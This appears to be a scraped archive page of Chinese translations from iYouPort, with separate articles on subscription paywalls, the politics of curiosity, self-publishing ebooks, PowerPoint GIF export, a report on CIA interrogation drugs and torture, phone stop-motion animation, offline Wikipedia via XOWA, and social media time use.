夸张吗？一点都不。因为这并不是唯一的订阅。现在 Facebook 也正在考虑添加“无广告的”订阅选项（就是继续骗你掏钱。你只是看不见广告，但不意味着你的数据不会被收集。链接指向本网对此的详细报道），这些传言在过去一直存在，并没有改变社交媒体公司将广告作为其核心业务模式的决心 — — 也就是监视资本主义的本性。尽管如此，在剑桥分析公司丑闻和即将到来的 GDPR 之后，似乎该公司的立场更具有可塑性了，并且有可能会遵循最近由 Josh Constine 制定的计划（就是收费）。鉴于 Facebook 对每位用户的收入水平的监测，他将潜在价格定在每月11美元。

我是订阅模式的重要支持者，特别是在媒体上的订阅。订阅以一种广告永远无法做到的方式调整激励，同时也避免了广告定位所引发的隐私和道德问题。订阅收入也比广告收入更可靠，使预算更容易并提高

组织的运营效率。

激励校准是一回事，而我的钱包是另一回事。所有这些订阅在同一个人身上开始累积起来。如今，我的媒体订阅量需要花费每月 80 美元左右，而我甚至还没有使用付费电视。谷歌、苹果和 Dropbox 的存储成本是每月 13 美元，有线电视和小区服务每月另加 200 美元。软件订阅大概是每月 20 美元，亚马逊会员和其他几个会员每月总共要花费 25 美元左右。

更糟糕的是，订阅从来没有变得更便宜。亚马逊 Prime 将价格提高至每年120 美元，Netflix 去年下半年将其流行的 middle-tier 计划增加到每月11美元，YouTube 上个月将其电视节目的定价上调至每月 40 美元。增加新的收费墙，订阅费用的增长远快于消费者的收入增长。

我对这个地狱感到沮丧。网络的即时资讯能力和自由获取世界信息的承诺似乎正在消失。尤其令我感到沮丧的是，订阅通常仅仅是意味着将原来的免费内容放到了收费墙之后，而不是说你花钱买来的就是更高质量的内容，而且它根本不考虑你已经拥有的其他订阅 — — 你会发现自己从不同的地方买到了相同的东西！

订阅可以是一个很好的工具，但似乎每个人都做错了。如果你需要摆脱网络广告的镣铐，就必须彻底转变你的想法。

尽管如此，首先要明确的一点是：网络需要一个商业模式。我们在早期的网络上不需要付费墙，因为我们专注于来自其他用户的纯文本。纯文本更容易制作，为人们降低了摩擦，并且存储和传输也更便宜，降低了带宽成本。

今天的消费者虽然比互联网的原始用户有着更高的标准，消费者希望获得身临其境的体验、精心设计的网页、字体、图形、照片和视频汇集成一个引人注目的格式。要达到这种被满意的“质量”在基础工程和设计人才方面的花费会巨大，更不用说还有大量增加带宽和存储的成本。

举个例子比如这篇报道，该文本本身大约是 3500 字节未压缩的，但是如果没有被缓存的话，页面的总有效载荷大于 10MB，或者说大于实际文本本身的数据使用量的 3000 倍。这种模式变得如此普遍，以至于被称为网站肥胖危机。然而，所有的研究都表明，人们想要高清晰度的图像及其故事、即时加载网站上的文章以及完美的交互性。这些功能必须以某种方式支付，这就是今天的广告模式和订阅模式的目的。

其他成本是内容制作本身。志愿者只是没有提供我们正在寻找的信息。就如维基百科是一种非同寻常的资源，但如果你想寻找关于自己当地社区的新闻或者不知名的个人的信息时，它就如法满足你了。现实状况是，信息收集是艰苦的工作，在资本主义制度下，我们需要付钱给人们去做。我和我的同事们对创作和技术充满了热情，但我们需要先吃饱了肚子才有力气出版。

虽然开放、免费、民主化的网络是最理想的，但这两个挑战表明，它必须附上商业模式才能发挥其作用。广告就是这样一种模式，但其基础是大规模侵犯隐私权。另一种方法就是对访问者收费。

不幸的是，订阅付费模式似乎是一个由脑死亡的管理人员领导的一群产品工程师和营销人员搞出来的玩意。本周彭博社的默认选择以及其他许多出版物同样的玩意都是将原来的免费内容放到了收费墙的后面。没有消费者愿意为他们以前曾经免费获得的东西付款！可我们一再看到以这种方式设计的订阅。

我不知道媒体何时开始招聘国税局会计师，但订阅应该被视为升级，而不是征税。订阅应提供之前不存在的新功能、新内容，同时保留消费者多年以来享受的免费产品。

以 MoviePass 为例。消费者可以继续观看过去一直在观看的电影，但现在他们有了新的订阅选项，可以以一定的价格观看更多的电影。在我的朋友中，MoviePass 彻底改变了他们对电影的看法。他们不再是每个月都只看一部重磅炸弹，而是去看艺术电影，因为“我们基本上已经为它付出了代价，所以为什么不尝试呢？”这一订阅显然很便宜，但它不应该从提供订阅的全新体验的中分散注意力。

尽管如此，地狱依旧是更糟的玩意。我们不仅被加上了以前没有的付费墙，而且这些订阅的价格总是比消费者想要的贵得多。这不仅仅是彭博和某些媒体的问题 — 软件也一样。我曾经用 Ulysses 编写东西，这是一个用于 OS X 和 iOS 的同步 Markdown 编辑器。我是花了 70 美元买的这些应用程序，但随后该公司变成了每年 40 美元的年度订阅费用，并且数十次愤怒的评论和指责表明，该价格与提供软件的成本大不相称。

对于产品营销人员来说，默认的思路是将1％的读者或用户转变为付费群体，从中提取大量的价值。而订阅总是定位为有限的计量或分层，以尝试强制转换。但我认为，问题不在于如何让**1**％ 的读者付出高昂的代价，而在于如何让 **20**％ 的读者为您支付更低的价格。订阅不应该是排斥，而是参与。

可以解决这种情况的方法之一是允许订阅更便宜地结合在一起。你已经可以看到，Spotify，Hulu 和 Scribd 似乎正在调查一项交易，即消费者可以从这些服务中获得联合订购的较低费率，比如 **Setapp**，是一组超过一百个 **OS X** 应用程序，捆绑在一起，每月大约**10**美元。

我希望能看到更多这样的合作关系，因为它们对消费者来说更公平，并最终允许小型订阅公司与谷歌、亚马逊、苹果等公司进行竞争。交叉营销降低了用户购买的成本，而这些节省下来的钱应该最终流向消费者。

订阅地狱是真实存在的，但并不意味着商业模式本身有缺陷。相反，我们需要彻底改变我们对这些模式的思考，包括背后的营销和他们提供的功能。我们还需要更全面地考虑消费者和他们的钱包，因为没人是在真空中购买订阅的。长期以来，付费墙的剧本只是被不断的复制而不是创新。现在是产品领导者加强并建立更美好未来的时候了。〇

原文

好奇心是政治性的 - iYouPort

其他

是什么让人们变得冷漠？当下主宰人们心情的无力感和不稳定感带来的结果是什么？

「图」

「图」

如题，好奇心是政治性的。

好奇心的缺席、存在、培养和消除都是政治工具，具有几乎难以想象的力量。它们也是无处不在的政治后果的社会结果。

左翼一直知道知识的轮廓是政治性的。近年来，对无知政治的兴趣也开始形成；agnotology（无知学）作为无知的哲学研究被命名，建立了政治、心理和公共记忆之间的联系，以描述无知的社会建构。

很容易注意到，这种关于 agnotology 的基本见解实际上是长期存在的。

Upton Sinclair 在1934年评论说，“当一个人赚钱是基于他不理解什么的时候，你就很难让他去理解这件事”，直接表达了一种无知的立场理论。

不幸的是，认识论（研究我们如何知道我们所知道的哲学领域）和批评学都没有以任何值得注意的方式致力于好奇心，毕竟，这意味着既知道又无视。

作为一种概念和现象的好奇心几乎完全被学者所忽视了，这是一个巨大的漏洞，导致我对好奇心是政治性的这一完全明显的声明有一种“顿悟”的感觉。

好奇心是一个笼统的术语；尽管它具有几乎普遍积极的现代内涵，但承认它并不一定就是十足的好事。

拒绝好奇心可能是一种道德选择，例如缺乏对如何制造中子弹的好奇心，或者在维护隐私方面尊重对方的保密选择。

好奇心也可以是一种放纵，仅仅是转移或分散注意力，甚至是对权力的渴望。想想19世纪帝国主义者和维多利亚时代探索者的那种不可思议的好奇心，寻求知识作为一种控制形式；或者各种采矿者和企业家的那种贪婪的好奇心。

但是，如果不想了解这个世界，也就永远不会想到如何可以改变它。如果不想了解其他思想、其他生物、和其他生存方式，我们就永远不会建立社区、不会团结、也就没有什么新世界。

「图」

「图」

虽然对不好奇和无知的支持可以在背景中具有重要的道德立场，比如军事研究或帝国主义者的勘探，但我们还必须倡导某些好奇心的政治性和道德价值 —— 好奇心，用米歇尔·福柯（Michel Foucault）的话说就是，“唤起人们对存在与可能存在的东西的关注”。

我们生活在一个高度情绪化的全球时刻，人们在“不成功”时表现出畏惧、恐惧、愤怒、焦虑、异化、甚至感觉羞耻，而好奇心基本上需要建立在自我自力、智力开放和接受未知的潜在意愿之上。

你读过 Joseph Heller 最经典的“第22条军规（catch-22）”吗？如今就是这样：为了建立和维护其他政治、社区和社会世界，人们需要对其他人、其他生物和其他生活方式产生深深的好奇心。但为了在社会中为好奇心腾出空间，就需要做出根本性的社会变革。

与此同时，好奇心正被当权者积极压制、被文化攻击者扭曲为一种自卫形式，随处可见的是骚动的文化焦虑。

好奇心的塑造始于出生时。人类天生就有一些珍贵的特征，好奇心就是其中之一。

随着孩子们在我们的社会中成长，他们逐渐失去好奇心，变成了一个异常冷漠的成年人。

尽管家庭动态和父母的风格会对孩子的好奇心产生明显的影响，有时是激励有时是抑制，但是，年轻人奇迹般地从闪闪发光的欣喜到无聊和闷闷不乐的巨大转变，在很大程度上可以归因于学校。

> 据报道，今天的儿童早在一年级时就失去了对学校的兴趣。

几个世纪以来，学校对自由范围的好奇心的踩踏一直是被抱怨的主题之一。

但在过去，幼儿园和低年级的学生在精神和意念方面都是相对自由的形式，这种自由感使得学生们对后期死记硬背的教育模式产生了强烈的抵触。

社会学家和心理学家过去常常认为四年级左右是孩子们失去好奇心的时候，自那时起，怨恨和倦怠超越了对新奇和探索的喜爱。

甚至早在20世纪80年代中期，当托儿所优先考虑游戏教学时，Barbara Tizard 和 Martin Hughes 对学龄前儿童的研究就发现，孩子们提出的平均问题数量从幼儿在家时的每小时26个到学前班时期每小时2个。

毫不奇怪，今天的孩子，早在幼儿园时期就受到了计划课程的影响，并且早在一年级时就被成绩报告打败了 —— 连新闻报道都承认，孩子们早在一年级就失去了对学校的兴趣。

虽然标准化考试、过度拥挤和资金不足等问题无疑对课堂探究的追求产生了特别的毒性影响，但 Paolo Freire 指出，好奇心麻醉发生在任何传统的教育机构中。

在她的书“饥饿的心灵”中，Susan Engel 用了整整一章的内容具体描述了即使是最温暖、最善意的教师，在寻求留住学生的过程中也会消除孩子们的好奇心。因为教学双方都将学习变成了任务而不再是乐趣。

好奇心究竟是一种教学的实际目的，还是其他动态的副产品？或者正如福柯所描述的那样，好奇心是一种危险的“关于重要和必要的传统等级制度的随意性”，被维持现状的教育监护人踩踏，他们急切地执行隐秘的服从式教育……

或者，好奇心未能用资本主义术语来计算机会成本、对职业技能的顺利教育或爱国主义的灌输造成了障碍，而不是对无法解决的问题感到疑惑？

我们可以进行辩论，但不可否认的是，那些被压抑的古怪的基本学校现实。

学生们很快就会知道教师和学校对他们的问题不感兴趣。

Herbert Kohl 的经典论文“I Won’t Learn From You”所表达的只是对每个教师来说都应该知道的事 —— 即，好奇心可以作为不喜欢、拒绝或对抗的标志而被隐瞒，并且经常代表一种防守的尝试 —— 防御自责或担心失败，防御一种被傲慢和敌对内容贬低或攻击的文化。

通过这种方式，不论是好奇心还是好奇心的缺席都是政治性的。

事实上，一位优秀教师的标志之一就是能够通过创造微妙的情感联盟来躲过学生的抵触并引起好奇心，同时与学校保持一定的距离。

学校里发生的事是大文化的一部分，而且往往仅是对它的反映。如果好奇心在教育环境中表现不佳，那么在更广阔的世界中会发生什么呢？

首先，我们看到为了权力的目的而产生的共同的好奇心。 Justin E. H. Smith 写道，在我们这个时代，“好奇心被国家利用了”：

因此，好奇心历史的下一章—后现代章节开始了。现在的状况是，国家越来越嫉妒个人的好奇心，而不是仅仅为了国家利益而扼杀它。每种能力都必须拥有许可证、以及每个兴趣和社团。

接下来，随着文化和教育领域成为“编制”的一部分，拒绝对它们感到好奇是抵抗性政治的一种形式。

例如，当莎士比亚或实验室科学成为了精英的文化财产时，文化和知识领域就会产生好奇心的缺乏，否则就会变视为权力的同谋。

在这里你可以观察到一种确认，即 快乐或健康的好奇心需要一般的平等感。

自卑感导致了探究能力的萎缩，也导致了对社会描述为“优越/优势”之领域的不满。

尽管对好奇心的学术研究或调查显著缺乏，但我们仍可以利用稍微丰富的无知研究来洞察不正常性。

由于好奇心是消除无知的欲望的个人和情感表达，好奇心是获得完全拥抱、有意义的知识的必要手段，于是对无知的哲学批评与对不正常性的考虑密切相关。

「图」

「图」

在许多分类中，Agnotologists 描述了三种无知形式：无知的本土状态、无知的可选择性和无知的积极建构。后两者都是通过抑制好奇心才能达成的。

就像古生物学家谈论故意无知一样，或许现在是时候开始讨论故意的漠视了。

当我们遇到故意的冷漠时，必须考虑它是否可能体现了阶级主义、种族主义、性别歧视或其他权力关系，就如那些充满怨恨的人拒绝了解他们所鄙视的人。

隐瞒好奇心可能成为社会蔑视的标志，也是创造方便的无知以逃避责任的手段。然而，故意的漠视也可能体现了对阶级主义、种族主义或性别歧视所产生的知识的抵制。

但是，拒绝好奇有一个令人不安的双重性边缘，在提供某种保护的同时也会产生功能障碍和毒性。虽然我们可能会鼓励学生的精神和情感脱离那个不受欢迎的教室，但这种脱离战略的成功也会渗透到生活的其余部分。

孩子们不太可能在闷闷不乐的状态下度过课堂时间，就如成年人不太可能会在严重的情绪抵触中度过工作日。走出学校或工作场所的大门后，却无法进入健康快乐的可能性探索中。

心灵和情感的习惯是通过不断的练习和重复来塑造的，并不是那么容易得到或拒绝。

> 今天主宰我们心情的无力感和不稳定感直接取代并遏制了好奇心

我们的好奇心不仅因故意的漠视而受到侵蚀。

好奇心需要注意力、存在感和警觉性。一个有意义的活跃的公共领域需要对其他人的好奇心，以及对其他人的积极感知和认可。

但是，如今我们生活在一个疯狂消磨注意力的世界里，一个真正无法参与进去的世界 —— 毕竟，参与需要耐心和等待。

在某种意义上，作为冷漠的对立面，注意力和好奇心反过来又需要希望。

好奇心意味着个人效能感和可能性，相信一个人的好奇心可以通过自己的行为来满足，以及对未来的感觉。

今天主宰我们情绪的无力感和不连续感直接取代并抢占了好奇心，反而成为了当代资本主义的主导影响：焦虑。

为了覆盖无法参与的焦虑，人们用无目的或无所事事的分心来取代注意力。

几个月前，课堂教学开始让我感到沮丧，就在我顿悟的时候 ，学生们懒洋洋地滚动着手机，因为我们中的一些人讨论了气候变化和地球的生态状况。

也许学生们只是想躲避这个恐怖的话题？但是当我们玩游戏时，他们也会有同样的反应，这种冷漠是教育机构暴力摧毁学生好奇心的结果吗？或者这是一种希望的完全失败？对课程政治的反动怨恨？

如果我们想要摆脱强迫、抵抗、傲慢、愤怒、绝望和焦虑所产生的交际障碍，我们就必须能明白这种状况。

要做的第一件事就是认识到道德上好的好奇心不仅仅是一种智力和学术上的关注，它也是一种情感和政治状态，迫切需要培养和温柔的爱护。〇

Curiosity Is Political: We Must Nurture It if We Hope to Change the World

原文

如何以最低成本快速出版自己的电子书？ - iYouPort

其他

尽可能不花钱，成为名人

「图」

「图」

曾经没有互联网的时候，如果您想出版自己的书，那么需要先打字写稿，将副本投递给各个出版商，然后祈祷他们愿意阅读。如果他们真的读了，那么您将得到一本书仅5%的报酬（这是说如果您很幸运的话）。

但是随着互联网的到来，尤其是 Kindle时代的到来，就不需要祈祷了。 Kindle允许任何人出版自己的书，并切断传统的出版商网络。

当然，还有许多其他电子书平台，例如 Apple Books、Kobo、Nook、Tolino、Google Play 等等。喜欢书的人能列出一大堆。

但是很多有经验的人会告诉你，要想制作那样的书有可能比较贵。

于是本文的问题是：可以在几乎没有预算的情况下出书吗**?**

下面将介绍这件事可以怎么做。

创建电子书需要啥

要制作可上传到各种平台的电子书，您需要以下这些东西：

- 您的手稿（显然）
- 一种将手稿转换为电子书格式的方法
- 这本书的封面

没了。

接下来我们逐一介绍这些。应该首先指出的是，廉价生产的不良电子书是没人会买的。因此，尽管您可以在这里和那里削减成本，但不要在此过程中牺牲质量。

1、手稿

打字的方式完全取决于您自己。我知道有些人崇拜 Microsoft Office，但这显然不是免费的。对于预算有限的作家，您可以使用：

- ibreOffice
- Google Docs
- Pages (仅限 MacOS)

行距应为1.15或1.5，不要看中字体。我更喜欢 Arial 或 Garamond。

密切注意您的书的长度，因为 Amazon Kindle 对书的大小施加了严格的限制。如果超过100,000个单词应减少到大约80,000（或考虑将其变成两本书）。

2、将原稿转换为电子书格式

您已经彻底检查并编辑了稿件，对吗？那就开始形成格式吧。

「图」

「图」

这里使用了价格小贵的仅限 MacOS 的名为 Vellum 的软件应用程序，之所以购买该软件是因为我将其视为长期投资（包括税收减免）。但是，如果您没有预算，也没关系，还有其他选择。

首先，将文件转换为PDF文件。所有的文字处理平台（包括 Google 文档）都具有“导出为 PDF”按钮。

但是 Amazon 和 Draft2Digital 实际上更喜欢 Word DOCx 文件。然后，他们将为您转换DOCx文件。

「图」

「图」

另一种选择是使用免费的 Calibre 并将文件转换为必要的 eBook 格式。 Kindle 使用 .MOBI 格式，其他则要求 .EPUB。

「图」

「图」

3、书的封面

他们总是说“不要凭封面判断书”，但实际上每个人都这么干，你也是。您是否会掏钱买下它在一定程度上取决于封面有多吸引您。

所以，别让一个糟糕的封面伤害到你的优秀作品。

「图」

「图」

您将需要一张可以合法用于商业目的的图像（为安全起见，从 iStockPhoto 购买一个图像只需9美元，比侵犯版权的诉讼便宜多了）。

这里是制作书皮的选项：

- **Adobe Photoshop** —— 仅适用于真正知道自己在做什么的人。免费的替代品是 "GIMP"。
- 亚马逊 **Kindle Cover Creator** —— 这是一个“封面创建者”，它制作了相当基本的封面。这应该被视为您的最后选择。
- "Canva" —— Canva 内部有制作书皮的模板。模板是免费的，但是如果您使用Canva的剪贴画，则可能会要求您支付几美元。
- "Fiverr" —— 如果图形设计不是您的专长，这个可能会是最佳选择。您可以雇用别人做，大约40至50美元。

上传互联网

如果上述步骤都完成了，那么说明您已经准备就绪了。现在是时候让您的 Precious 在线。

除 Amazon Kindle 外，还有许多其他电子书平台。但是，为什么不使用聚合服务而是分别上传到每个平台呢？

Draft2Digital（将获得10%的销售额作为回报）会将您的图书上传到多个电子书平台，例如 Apple、Nook、Kobo 和 OverDrive（将电子书放入图书馆）。非常节省时间的选择。

对于亚马逊，请在 Kindle Direct Publishing（KDP）上注册一个帐户，然后按照步骤进行操作就行了（Amazon 会对其进行详细说明）。

「图」

「图」

广告与促销

在线营销和促销本身就是一个巨大的话题。因此，尝试在一篇文章中覆盖所有内容是不可能的。

而且由于大多数广告和促销活动都涉及金钱，因此我们需要研究的是，不花钱可以做到的事。

A：免费赠送第一本书 —— 假设您计划了不止一本书，为什么不免费赠送第一本书来建立粉丝群呢？

设置您的网站，然后在其中添加 Mailerlite 的邮件列表表单。当某人选择了该书时，系统会自动向他们发送一封包含下载链接的电子邮件。

B：将免费副本发送给审阅者和影响力大的人 —— 首先是确定谁会喜欢您的书，并希望此人将其推荐给他人。然后通过电子邮件向他们发送免费的电子书副本。

C：社交媒体 —— 无需任何费用即可建立社交媒体帐户。 Twitter、Facebook 和 Instagram 。您可以举办免费宣传活动，创建主题标签活动等。

D：在 **Canva** 上制作促销图 —— 在 Canva 上制作海报、社交媒体分享图像、电子邮件分享图像等。

E：制作 **YouTube** 视频 —— 如果有专门知识，请设置自己的 YouTube 频道，并在自己的电影风格预告片中宣传您的图书。

在营销和促销方面，您的想象力是唯一的限制。

最后

以上只是出版您自己的电子书的最简易指南，但希望它能使您对所涉及的内容和操作的简易程度有所了解。

您对此感兴趣吗？如果是，欢迎使用 IYP 的文章制作电子书，可以制作很多本呢。如果您做了，别忘了联系我们，您可以获得直接的销售分成！〇

原文

如何将演示文稿做成动画？ - iyouport

其他

很简单，也容易分享。

想要在社交媒体、公司内部网络或博客上分享您的微软 PowerPoint 幻灯片吗？您可以为 PowerPoint 演示文稿创建一个GIF动画，效果会更好。

如果您有 Windows 或 Mac 上的 Microsoft 365 的 PowerPoint，创建一个GIF动画是很容易的。由于步骤略有不同，下面将分别列出。

在 **Windows** 的 **PowerPoint** 中创建一个**GIF**动画

在 Windows 电脑上打开您的 PowerPoint 幻灯片，点击文件」导出。

在导出下，选择 “创建动画 GIF”。

在右侧，在顶部的下拉列表中选择大小。它默认设置为中，但您可以根据需要选择小、大或特大。

或者，您可以选中 “使背景透明”。

默认情况下，每张幻灯片花费的秒数被设置为一秒。这指的是每张幻灯片的最小秒数。幻灯片之间的过渡不计入这个最小值。您可以使用箭头来增加秒数，或者在方框中直接输入一个数字。

可以使用箭头或数字框包括您的演示文稿中的所有幻灯片，或某一范围的幻灯片。

「图」

设置好所有内容后，点击 “创建 GIF”。您现在应该能够在您选择的位置看到您的新演示文稿 GIF。

在**Mac**上的 **PowerPoint** 创建一个**GIF**动画

在Mac的 PowerPoint 中打开您的演示文稿，从菜单栏单击文件」导出。

在 “导出” 窗口中，选择一个保存文件的位置。如果您愿意，可以给它重命名，也可以选择添加标签。如果您想在线保存，点击 “在线位置” 并选择您的位置。

在文件格式下拉列表中，选择 “动画 GIF”。

默认情况下，图像大小设置为中等，但您可以根据需要选择小、大或超大。如果您想要透明背景，请选中 “背景” 旁边的框。

「图」

另一个默认设置是每张幻灯片花费的秒数，是一秒钟。就像在Windows上一样，这指的是每张幻灯片上花费的最小时间，其中包括动画，转换并不计入最小时间。您可以通过使用箭头或在该框中输入一个秒数来调整这个时间。

您可以用箭头或数字框来选中您的演示文稿中的所有幻灯片，或一个特定范围内的幻灯片。

「图」

准备好后，单击 “导出”。然后，前往保存文件的位置并获取 GIF。

注意事项

以下是一些关于GIF动画需要注意的事。

- 完成的GIF将持续循环。目前这不是一个可调整的设置。
- 隐藏的幻灯片将不包括在GIF中。如果您想让这些幻灯片出现在GIF中，请务必先取消隐藏。
- 视频或其他GIF、动画和转场效果等都将被包含在GIF中。

如果您想尝试一下，也可以把幻灯片保存为图像。〇

How to Create an Animated GIF of a PowerPoint Presentation

原文

如何强迫一个人说真话？ - iYouPort

其他

由于 ACLU 取得了法律上的胜利，公开了以前的最高机密文件——披露了医疗服务办公室（OMS）在中央情报局酷刑计划中的作用，医生促进人权组织（PHR）提醒健康专业人员一切形式的酷刑是最严重的侵犯人权行为之一。一份90多页的绝密报告披露了美国中央情报局（CIA）在9·11事件后使用药物让犯人说真话的审讯计划。

9·11事件后几年，CIA 曾采用剥夺睡眠、小空间拘禁和水刑等酷刑手段进行审讯。据英国《卫报》报道，尽管手段残酷，但审讯“效果”并不理想，于是，CIA 医疗服务办公室（OMS）想到了“吐真剂”用于反恐战争中被捕嫌疑人的审讯。

从2002年到2007年，CIA 医疗服务办公室（OMS）在其参与的 CIA 各种拘押和审讯中扮演了关键性角色，他们参与了120多个将囚犯带到 CIA 秘密拘押中心的行动。为了找到合适的“吐真剂”，CIA 研究了多国曾进行过的药物实验，其中包括 CIA 自身上世纪五六十年代臭名昭著的 MK 超级计划（MK-Ultra）。

该报告显示，被认为可以引人吐露真话的诱引剂，是一种被称为 Versed 的精神类药物，其通用药名为咪达唑仑。这是一种镇静类药物，通常用来减轻患者焦虑。CIA 医药专家认为，它可以在审讯中影响囚犯的精神状态，它还会造成失忆！而某些时候这也正是使用者想要的效果。

首先，这种药物的使用存在明显的法律障碍。国际法禁止在囚犯身上进行医药实验，也禁止使用“精神改变类药物”。CIA 律师认为，“吐真剂”的合法性还不明确，而 CIA 最终决定不向当时的小布什政府司法部争取吐真剂的合法性，将这个计划束之高阁。

这份报告也揭露了当时小布什政府对嫌疑人的种种严酷审讯手段，包括扇耳光，往墙上扔，及水刑、剥夺睡眠等。

前总统奥巴马此前曾批评这些严酷的审讯手法。一份公开的议会报告也指出，这些手段“违反了美国法律、条约义务和价值”，但至今没有

任何 CIA 官员遭到起诉。

CIA 现任局长，也是美国首位女 CIA 局长 Gina Haspel 上任前，也遭到了多方指责，她被指在小布什政府期间，曾涉及这种严酷的拘押和审讯。

Release of Top Secret CIA Document Reveals Deeper Medical Complicity in Torture Program

The 90-page document provides a chilling account of how CIA health professionals willingly participated in torture

原文

如何用手机制作定格动画 - iyouport

其他

可以作为您的信息行动主义倡导媒介的小玩具

定格动画很吸引人。无论是标志性的《红鼻子驯鹿鲁道夫》，还是更多的现代电影，如《Coraline》，定格动画有一种独特的美感。如果你有一部带摄像头的手机，你可以自己制作。

定格动画视频实际上是一连串的照片。通过稍微移动每张照片中的物体并将它们拼接在一起，就能产生运动的错觉。它本质上是一个长的翻页动画书。

现在有一些很棒的定格动画视频应用程序。本指南将使用一个名为 “Stop Motion Studio” 的免费应用程序。它可以用于 iPhone、iPad 和 Android 设备。

你可以用免费版本制作简单的定格动画视频。然而，一些更高级的功能需要在应用内购买。如果你这样做只是为了普通的使用而不是出售，免费版本已经足够了。

除了应用程序，你可能还需要一个三脚架或某种道具，将设备固定在一个稳定的位置上。

开始时，在你的 iPhone 或安卓设备上打开 Stop Motion Studio 应用程序，并授予它必要的权限来拍摄照片和视频以及录制音频。

接下来，点击 “新影片” 开始一个新项目。

现在你会看到视频编辑屏幕。取景器的左右两边有许多按钮。时间线位于屏幕的底部，这就是帧将出现的地方。

- 返回：回到主屏幕。
- 配音：在视频上录制音频。
- 添加：添加图片、标题和字幕、音频和视频剪辑。
- 设置：调整FPS（播放速度），添加淡入淡出的过渡，改变长

宽比，以及更多。
- 捕捉：捕捉帧。
- 撤销：删除最后一帧。
- 帮助：关于按钮的信息。
- 播放：回放帧。

点击相机图标开始向视频添加帧。

在这个屏幕上也有几个选项。

- 叠加：选择要显示的前几帧的数量。
- 透明度：调整透明度。
- 网格：镜头对齐网格。
- 返回：返回到编辑器屏幕。
- 计时器：在快门上添加一个计时器。
- 捕捉：抓拍一张照片。
- 播放：回放帧。
- 设置：在前置和后置摄像头之间切换，调整焦点模式，以及放大或缩小。

最好在开始拍照之前调整所有设置。建议使用一种具有光透明度和自动对焦功能的叠加。

对齐并点击相机按钮拍摄第一张照片。

调整镜头中的物体并点击相机按钮拍摄下一张照片。

重复此过程，不断根据自己的喜好移动对象。随时点按播放按钮即可预览目前的进度。

完成后，点击后退箭头按钮转到编辑器屏幕。

可以滚动底部时间线以查看所有帧。点按一个框架以调出特定框架的一些编辑工具。你可以在此处删除框架或插入新框架。

当视频符合您的喜好时，点击后退箭头以转到主屏幕。

现在可以导出视频并共享它。触摸并按住您的项目文件。

点击播放图标可预览最终视频的外观。如果您对此感到满意，点击共享图标。

选择 “导出电影” 以下载文件或与其他应用程序共享。还可以选择将其导出为 “动画 GIF”。

从共享菜单中，选择 “另存为” 或选择一个应用程序。

视频现在将保存在您的设备上。下面是本案例试验的视频。

恭喜！现在您是定格动画导演了。希望您能创建出下一个精彩的作品。〇

How to Make Stop-Motion Videos with Your Phone

原文

如何离线使用维基百科？ - iYouPort

其他

许多人可能不知道，实际上有一种方法可以在不连接互联网的情况下使用维基百科。该站点本身将其全部内容作为数据库文件提供，您可以立即下载。也许你想让孩子在没有连接到互联网的情况下访问这些宝贵的知识信息，或者你只是想要吹牛的权利，都没问题，只需要准备好一个足够大的储存文档就可以完成，下面介绍一下应该如何做。

您首先需要下载与 Wikipedia 发布的数据库文件兼容的阅读器。这里有几种不同的选择：也许最流行的是开源的 XOWA，它允许你获得维基百科的完整英文版本。它适用于多种平台，包括 Windows，Mac OS X，Linux，Raspberry Pi 和 Android。 XOWA 保留页面的完整 HTML 格式，并允许您像在线版本一样浏览这些页面。

由于这是受支持最广泛的阅读器，并且与维基百科内容具有最佳的兼容性，因此我们将在本教程中使用它。不过你还有很多其他选择的，每个选项都有不同程度的支持和难度级别。如果 XOWA 不能满足您的需求，请尝试以下其他选项：

- Kiwix—最大的离线维基百科发行版，与 Windows 10，iOS 和 Android 兼容；
- WikiTaxi—仅限 Windows，不支持图像；
- AardDictionary—无图像，支持 Windows，Mac，Linux，Android 和 Maemo；
- BzReader—仅限 Windows，支持快速搜索；
- Wiki-as-ebook store—允许您购买精选文章的电子书网站。

无论您选择何种方式，请确保您使用的设备有足够的可用空间来存储文件。几乎在每种情况下，数据库文件的大小都是数千兆字节。

在继续操作之前，请确保您的计算机上安装了 Java 1.7 或更高版本。为了防止出现任何问题，我们建议您花点时间尽可能地升级到最新版本的 Java 以防止出现任何问题。

对于大多数版本，您将下载一个 zip 文件，其中包含运行 XOWA 所

需的可执行文件。在 Windows 上，您需要将其解压缩到 C：\ xowa 目录；

对于 Mac OS X 和 Linux 是到 /home /your_user_name /xowa，将 your_user_name 替换为您帐户的用户名（Android 版本包含您将用于安装应用程序的.apk文件）。

Windows 用户将启动“xowa.exe”应用程序，Mac OS X 和 Linux 用户需要执行更多操作。

打开终端并执行以下命令：

sh/home/your_user_name/xowa/xowa_linux.sh (or sh /home/your_user_name/xowa/xowa_linux_64.sh for the 64-bit version) on Linux, or sh /Users/your_user_name/xowa/xowa_macosx (or sh /Users/your_user_name/xowa/xowa_macosx_64 for the 64-bit version) on Mac OS X.

执行上述步骤应在您的计算机上启动 XOWA。如果没有，请参阅“readme.txt”文件，获取有关如何修复任何错误的特定于平台的说明（并仔细检查是否已将文件解压缩到正确的路径！）。

一旦 XOWA 启动，您将看到一个看起来很像维基百科页面的页面。这里是您实际将维基百科数据导入 XOWA 的地方。首先，向下滚动并找到“设置简版维基百科”的链接。点击此处， XOWA 将开始下载简易英文版维基百科的过程，该版本明显小于主版本。滚动到底部状态栏您应该能看到消息指示下载过程已开始。

给它约3–5分钟完成。完成后，XOWA 将自动加载英文维基百科的首页。您现在可以断开互联网连接并浏览各种文章。如果一切正常，请继续尝试下载整个英文版的维基百科。

在撰写本文时，它大约为 23GB，在大多数宽带连接上可能需要几个小时才能下载完成。整个过程中您还需要一个稳定的连接，因为如果它在此过程中失败，您将不得不再来一次。这样做会非常简单：从 XOWA 应用程序中，单击“工具”选项，然后单击“下载中心”。您将看到可以下载的各种选项。

XOWA 确实有一个“离线”选项，允许您从维基百科本身下载和/或打开“转储文件”，但请注意这需要更多的技术知识，所以请确保您在尝试之前有足够的信心使用 XOWA 软件。

How to Download Wikipedia: Here’s how to download Wikipedia. Seriously. The whole thing

原文

如果你退出社交媒体，能读多少本书？ - iYouPort

其他

不仅仅是读书， 您可以做任何事

「图」

「图」

从在 Instagram 上浏览照片到在 Twitter 上分享文章，社交媒体已成为每个人生活中无处不在的一部分。

大多数人浏览 Facebook 等应用程序所花掉的时间都比他们自己所认为的时间要长很多，最宝贵的精力就这么流失掉了。

根据 GlobalWebIndex 的《 2019年旗舰报告》，全球数字消费者平均每天在社交媒体上花费2个小时23分钟。

「图」

「图」

但是潮流似乎正在转变，该报告还显示了人们越来越多地意识到社交媒体的成瘾性是一个大问题。

